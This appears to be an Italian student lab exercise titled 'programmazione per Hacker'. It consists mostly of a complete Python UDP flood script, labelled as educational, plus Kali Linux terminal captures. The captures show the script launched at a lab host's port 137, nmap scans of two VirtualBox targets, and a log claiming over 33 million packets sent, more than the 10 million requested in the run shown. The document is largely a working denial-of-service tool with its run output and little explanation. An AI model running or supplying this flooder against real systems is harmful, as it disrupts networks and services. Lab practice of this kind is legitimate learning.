programmazione per Hacker

```python
import socket
import random

def udp_flood():
    print("--- Simulazione UDP Flood (Scopo Didattico) ---")

    # 1. Input dell'IP Target
    target_ip = input("Inserisci l'IP della macchina target: ")

    # 2. Input della Porta Target
    try:
        target_port = int(input("Inserisci la porta UDP del target: "))

        # 4. Numero di pacchetti da inviare
        packet_count = int(input("Quanti pacchetti da 1 KB vuoi inviare? "))
    except ValueError:
        print("Errore: Inserisci un numero valido per porta e quantità.")
        return

    # Creazione del socket UDP
    # AF_INET = IPv4, SOCK_DGRAM = UDP
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    # 3. Costruzione del pacchetto da 1 KB (1024 bytes)
    # Generiamo byte casuali per riempire il pacchetto
    packet_data = random.getrandbits(8192).to_bytes(1024, 'big')

    print(f"\nInizio invio di {packet_count} pacchetti verso {target_ip}:{target_port} ... ")

    sent_packets = 0
    try:
        for i in range(packet_count):
            sock.sendto(packet_data, (target_ip, target_port))
            sent_packets += 1
            if sent_packets % 100 == 0: # Feedback ogni 100 pacchetti
                print(f"Inviati {sent_packets} pacchetti ... ")

        print(f"\nCompletato! Totale pacchetti inviati: {sent_packets}")
    except Exception as e:
        print(f"Si è verificato un errore durante l'invio: {e}")
    finally:
        sock.close()

if __name__ == "__main__":
    udp_flood()
```

```
Session  Actions  Edit  View  Help
┌──(kali㉿kali)-[~/Desktop/python-program]
└─$ python uspFlood.py
python: can't open file '/home/kali/Desktop/python-program/uspFlood.py': [Errno 2] No such file or directory

┌──(kali㉿kali)-[~/Desktop/python-program]
└─$ python udpFlood.py
--- Simulazione UDP Flood (Scopo Didattico) ---
Inserisci l'IP della macchina target: 192.168.50.13
Inserisci la porta UDP del target: 137
Quanti pacchetti da 1 KB vuoi inviare? 10000000
```

```
┌──(kali㉿kali)-[~]
└─$ nmap -sS -sU -p80-445 192.168.50.102
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-14 09:06 EST
Nmap scan report for 192.168.50.102
Host is up (0.00033s latency).
Not shown: 363 closed udp ports (port-unreach), 362 closed tcp ports (reset)
PORT    STATE         SERVICE
80/tcp  open          http
135/tcp open          msrpc
139/tcp open          netbios-ssn
445/tcp open          microsoft-ds
137/udp open          netbios-ns
138/udp open|filtered netbios-dgm
161/udp open|filtered snmp
MAC Address: 08:00:27:4A:59:C8 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 189.34 seconds

┌──(kali㉿kali)-[~]
└─$ nmap -sS -sU -p80-445 192.168.50.13
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-14 09:32 EST
Nmap scan report for 192.168.50.13
Host is up (0.0025s latency).
Not shown: 365 open|filtered udp ports (no-response), 364 filtered tcp ports (no-response)
PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
137/udp open  netbios-ns
MAC Address: 08:00:27:5C:8D:1C (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 5.79 seconds

┌──(kali㉿kali)-[~]
└─$
```

```
Session  Actions  Edit  View  Help
Inviati 33670600 pacchetti ...
Inviati 33670700 pacchetti ...
Inviati 33670800 pacchetti ...
Inviati 33670900 pacchetti ...
Inviati 33671000 pacchetti ...
Inviati 33671100 pacchetti ...
Inviati 33671200 pacchetti ...
Inviati 33671300 pacchetti ...
Inviati 33671400 pacchetti ...
Inviati 33671500 pacchetti ...
Inviati 33671600 pacchetti ...
Inviati 33671700 pacchetti ...
Inviati 33671800 pacchetti ...
Inviati 33671900 pacchetti ...
Inviati 33672000 pacchetti ...
Inviati 33672100 pacchetti ...
Inviati 33672200 pacchetti ...
Inviati 33672300 pacchetti ...
Inviati 33672400 pacchetti ...
Inviati 33672500 pacchetti ...
Inviati 33672600 pacchetti ...
Inviati 33672700 pacchetti ...
Inviati 33672800 pacchetti ...
Inviati 33672900 pacchetti ...
Inviati 33673000 pacchetti ...
Inviati 33673100 pacchetti ...
Inviati 33673200 pacchetti ...
Inviati 33673300 pacchetti ...
Inviati 33673400 pacchetti ...
Inviati 33673500 pacchetti ...
Inviati 33673600 pacchetti ...
Inviati 33673700 pacchetti ...
Inviati 33673800 pacchetti ...
Inviati 33673900 pacchetti ...
Inviati 33674000 pacchetti ...
Inviati 33674100 pacchetti ...
Inviati 33674200 pacchetti ...
Inviati 33674300 pacchetti ...
Inviati 33674400 pacchetti ...
Inviati 33674500 pacchetti ...
Inviati 33674600 pacchetti ...
Inviati 33674700 pacchetti ...
Inviati 33674800 pacchetti ...
Inviati 33674900 pacchetti ...
Inviati 33675000 pacchetti ...
Inviati 33675100 pacchetti ...
Inviati 33675200 pacchetti ...
Inviati 33675300 pacchetti ...
Inviati 33675400 pacchetti ...
Inviati 33675500 pacchetti ...
```